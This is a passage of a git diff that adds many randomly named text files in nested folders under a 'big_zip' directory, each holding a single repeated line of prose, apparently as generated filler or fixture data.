+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_aauuomstqmv.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_bcbewbgeqvs.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_bcbewbgeqvs.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_bcbewbgeqvs.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_bpmazdyqkdqyjdgyijjklf.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_bpmazdyqkdqyjdgyijjklf.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_bpmazdyqkdqyjdgyijjklf.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_cklrhhcx.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_cklrhhcx.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_cklrhhcx.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_eiyviztpghqarpdoemc.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_eiyviztpghqarpdoemc.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_eiyviztpghqarpdoemc.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_fgwomfgvzrjczmxnnbgfl.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_fgwomfgvzrjczmxnnbgfl.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_fgwomfgvzrjczmxnnbgfl.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_hqsqdzusghmhhr.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_hqsqdzusghmhhr.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_hqsqdzusghmhhr.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_ikwzfyifhgtbjjzyjxc.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_ikwzfyifhgtbjjzyjxc.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_ikwzfyifhgtbjjzyjxc.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_kdbonaxxhingcahii.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_kdbonaxxhingcahii.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_kdbonaxxhingcahii.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_kdlttvalr.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_kdlttvalr.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_kdlttvalr.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_lhrpibqjdkpyrysxwoexapqo.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_lhrpibqjdkpyrysxwoexapqo.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_lhrpibqjdkpyrysxwoexapqo.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_lrjzfsurjgpvqob.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_lrjzfsurjgpvqob.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_lrjzfsurjgpvqob.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_omthmsxkvw.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_omthmsxkvw.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_omthmsxkvw.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_qikdpnlicekkxqowpbevi.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_qikdpnlicekkxqowpbevi.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_qikdpnlicekkxqowpbevi.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_rctxqvsomzqsz.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_rctxqvsomzqsz.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_rctxqvsomzqsz.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_rpdysyxxyajrcofhrco.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_rpdysyxxyajrcofhrco.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_rpdysyxxyajrcofhrco.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_rsffsyggkzjfkbqpikjaf.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_rsffsyggkzjfkbqpikjaf.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_rsffsyggkzjfkbqpikjaf.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_sqdktxbkubrrrvbrujthqev.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_sqdktxbkubrrrvbrujthqev.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_sqdktxbkubrrrvbrujthqev.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_utgtyxkok.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_utgtyxkok.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_utgtyxkok.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_vnrncqzsvysbbbbqczdev.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_vnrncqzsvysbbbbqczdev.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_vnrncqzsvysbbbbqczdev.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_yijpnchcgaarone.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_yijpnchcgaarone.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_yijpnchcgaarone.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_zqkoecppgvftozhk.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_zqkoecppgvftozhk.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_zqkoecppgvftozhk.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_zyljdefx.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_zyljdefx.txt
new file mode 100644
index 0000000..a55c04d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/file_zyljdefx.txt
@@ -0,0 +1 @@
+and nearer to the center, small, warm, blue-white, cloud-covered worlds. On some,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_ambevotdzyepamoh.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_ambevotdzyepamoh.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_ambevotdzyepamoh.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_avhsnomrwiikxvfpwbx.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_avhsnomrwiikxvfpwbx.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_avhsnomrwiikxvfpwbx.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_biqyhcumwvrac.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_biqyhcumwvrac.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_biqyhcumwvrac.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_cgzpzlznexqqeubbperor.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_cgzpzlznexqqeubbperor.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_cgzpzlznexqqeubbperor.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_cmmyotponbbadsh.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_cmmyotponbbadsh.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_cmmyotponbbadsh.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_dawmjcwyr.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_dawmjcwyr.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_dawmjcwyr.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_fjahblbrrokievcm.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_fjahblbrrokievcm.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_fjahblbrrokievcm.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_hjiaqfxcdgbo.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_hjiaqfxcdgbo.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_hjiaqfxcdgbo.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_jjqzmzszuyd.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_jjqzmzszuyd.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_jjqzmzszuyd.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_khatolglfnbheoh.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_khatolglfnbheoh.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_khatolglfnbheoh.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_qahdvnlllp.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_qahdvnlllp.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_qahdvnlllp.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_roeaazowgv.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_roeaazowgv.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_roeaazowgv.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_rtbvydhnpbnakxkxitfhl.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_rtbvydhnpbnakxkxitfhl.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_rtbvydhnpbnakxkxitfhl.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_szjsrfuxluwofbcfdky.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_szjsrfuxluwofbcfdky.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_szjsrfuxluwofbcfdky.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_vnoavybitihmrsh.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_vnoavybitihmrsh.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_vnoavybitihmrsh.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_vytfrlhtqemy.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_vytfrlhtqemy.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_vytfrlhtqemy.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_wwhggyqlqy.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_wwhggyqlqy.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_wwhggyqlqy.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_xtqchabsdbvvvqipboadiy.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_xtqchabsdbvvvqipboadiy.txt
new file mode 100644
index 0000000..f882133
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/file_xtqchabsdbvvvqipboadiy.txt
@@ -0,0 +1 @@
+multitude. There was no counterbalance to stagnation, to pessimism, to the most abject
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/bzrmhscrpdic.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/bzrmhscrpdic.txt
new file mode 100644
index 0000000..c4a25cd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/bzrmhscrpdic.txt
@@ -0,0 +1 @@
+together the waves are, the higher the frequency or pitch; the farther apart the waves are,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_hpdqzjubwjbmolmdmzfxskoy.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_hpdqzjubwjbmolmdmzfxskoy.txt
new file mode 100644
index 0000000..1dfa56b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_hpdqzjubwjbmolmdmzfxskoy.txt
@@ -0,0 +1 @@
+understand it, even if our hopes for some unearned preferential status are, in the process,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_jvkevzucb.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_jvkevzucb.txt
new file mode 100644
index 0000000..1dfa56b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_jvkevzucb.txt
@@ -0,0 +1 @@
+understand it, even if our hopes for some unearned preferential status are, in the process,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_kzeshxwenmmdidgxrvg.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_kzeshxwenmmdidgxrvg.txt
new file mode 100644
index 0000000..1dfa56b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_kzeshxwenmmdidgxrvg.txt
@@ -0,0 +1 @@
+understand it, even if our hopes for some unearned preferential status are, in the process,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_lmxowjedbzakkfwh.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_lmxowjedbzakkfwh.txt
new file mode 100644
index 0000000..1dfa56b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_lmxowjedbzakkfwh.txt
@@ -0,0 +1 @@
+understand it, even if our hopes for some unearned preferential status are, in the process,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_nlqdfbxrmhzyyh.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_nlqdfbxrmhzyyh.txt
new file mode 100644
index 0000000..1dfa56b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_nlqdfbxrmhzyyh.txt
@@ -0,0 +1 @@
+understand it, even if our hopes for some unearned preferential status are, in the process,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_palgeuinzdwnzhtmc.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_palgeuinzdwnzhtmc.txt
new file mode 100644
index 0000000..1dfa56b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_palgeuinzdwnzhtmc.txt
@@ -0,0 +1 @@
+understand it, even if our hopes for some unearned preferential status are, in the process,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_qxszawrltiuwshuugw.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_qxszawrltiuwshuugw.txt
new file mode 100644
index 0000000..1dfa56b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_qxszawrltiuwshuugw.txt
@@ -0,0 +1 @@
+understand it, even if our hopes for some unearned preferential status are, in the process,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_qyfbkgpzvdrhjuehbubbmtov.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_qyfbkgpzvdrhjuehbubbmtov.txt
new file mode 100644
index 0000000..1dfa56b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_qyfbkgpzvdrhjuehbubbmtov.txt
@@ -0,0 +1 @@
+understand it, even if our hopes for some unearned preferential status are, in the process,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_rwekbvvnfdgdgbwd.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_rwekbvvnfdgdgbwd.txt
new file mode 100644
index 0000000..1dfa56b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_rwekbvvnfdgdgbwd.txt
@@ -0,0 +1 @@
+understand it, even if our hopes for some unearned preferential status are, in the process,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_upqlxahzis.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_upqlxahzis.txt
new file mode 100644
index 0000000..1dfa56b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_upqlxahzis.txt
@@ -0,0 +1 @@
+understand it, even if our hopes for some unearned preferential status are, in the process,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_uxibpetdaoxiftclgqhaluj.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_uxibpetdaoxiftclgqhaluj.txt
new file mode 100644
index 0000000..1dfa56b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_uxibpetdaoxiftclgqhaluj.txt
@@ -0,0 +1 @@
+understand it, even if our hopes for some unearned preferential status are, in the process,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_xjpnskyzlxiahsab.txt b/big_zip/big-zip-files/folder_xikaalbeii/folder_icqzshoays/folder_xzqsgfjvgf/folder_nfwaxtvahf/file_xjpnskyzlxiahsab.txt
